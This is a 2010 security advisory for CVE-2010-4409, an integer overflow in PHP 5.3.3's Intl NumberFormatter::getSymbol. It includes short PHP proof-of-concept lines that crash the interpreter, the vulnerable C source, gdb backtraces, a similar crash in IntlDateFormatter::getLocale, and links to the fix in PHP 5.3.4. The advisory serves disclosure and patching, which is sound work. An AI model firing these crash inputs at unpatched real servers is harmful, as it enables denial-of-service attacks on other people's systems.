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PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow
From: cxib () securityreason com
Date: 10 Dec 2010 13:41:18 -0000

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[ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 11.11.2010
- - Pub.: 10.12.2010

CERT: VU#479900
CVE: CVE-2010-4409
CWE: CWE-189
Status: Fixed in PHP 5.3.4

Affected Software:
- - PHP 5.3.3

Original URL:
http://securityreason.com/achievement_securityalert/91


- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to 
perform UCA-conformant collation and date/time/number/currency formatting in their scripts.

Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to 
parse strings into numbers. 


- --- 1. PoC for Integer Overflow ---
$nx=new NumberFormatter("pl",1);
$nx->getSymbol(2147483648);


- --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow ---
As we can see in

- ---
PHP_FUNCTION( numfmt_get_symbol )
{
        long symbol;
        UChar value_buf[4];
        UChar *value = value_buf;
        int length = USIZE(value);
        FORMATTER_METHOD_INIT_VARS;

        /* Parse parameters. */
        if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(),
"Ol",
                &object, NumberFormatter_ce_ptr, &symbol ) == FAILURE )
        {
                intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
                        "numfmt_get_symbol: unable to parse input params", 0 TSRMLS_CC );

                RETURN_FALSE;
        }

        /* Fetch the object. */
        FORMATTER_METHOD_FETCH_OBJECT;

        length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf,
length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT HERE!!!
...
- ---

will crash for differ value. example {2444492804, 2147483648,
2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under 64bits linux)

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*,
int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
(gdb) bt
#0  0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#1  0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120,
    return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710,
    return_value_used=17168144)
    at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269
...blabla

rip            0x7fffedf317f5   0x7fffedf317f5
<icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&)
const+21>
eflags         0x10206  [ PF IF RF ]

let`s see value ~4294901761

$nx=new NumberFormatter("pl",1);
$nx->getSymbol(4294901761);

will crash in memcpy(3) ;]

Program received signal SIGSEGV, Segmentation fault.
memcpy () at ../sysdeps/x86_64/memcpy.S:90
90      ../sysdeps/x86_64/memcpy.S: No such file or directory.
        in ../sysdeps/x86_64/memcpy.S
(gdb) bt
#0  memcpy () at ../sysdeps/x86_64/memcpy.S:90
#1  0x00007fffea74a86a in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#2  0x00007fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952,
    return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0,
    return_value_used=17826976)
    at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274
#3  0x00000000006e986a in zend_do_fcall_common_helper_SPEC (
    execute_data=0x7ffff7eb8068)
    at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
...

let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&)

- ---
int32_t
UnicodeString::extract(UChar *dest, int32_t destCapacity,
                       UErrorCode &errorCode) const {
  int32_t len = length();
  if(U_SUCCESS(errorCode)) {
    if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) {
      errorCode=U_ILLEGAL_ARGUMENT_ERROR;
    } else {
      const UChar *array = getArrayStart();
      if(len>0 && len<=destCapacity && array!=dest) {
        uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <======= MEMCPY REFERENCE HERE
      }
      return u_terminateUChars(dest, destCapacity, len, &errorCode);
    }
  }

  return len;

}
- ---

so crash in rip=memcpy(3). 

Method getLocal() also can generate simple crash (CWE-170)

$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,
IntlDateFormatter::FULL);
$nx->getLocale(1);


- --- 3. Fix ---
Fix in next PHP Version 5.3.4:
http://www.kb.cert.org/vuls/id/479900

SVN:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log


- --- 4. Greets ---
Special thanks for Pierre Joye and Stas Malyshev for very quickly fix
Michael Orlando for security support

and sp3x, Infospec


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/
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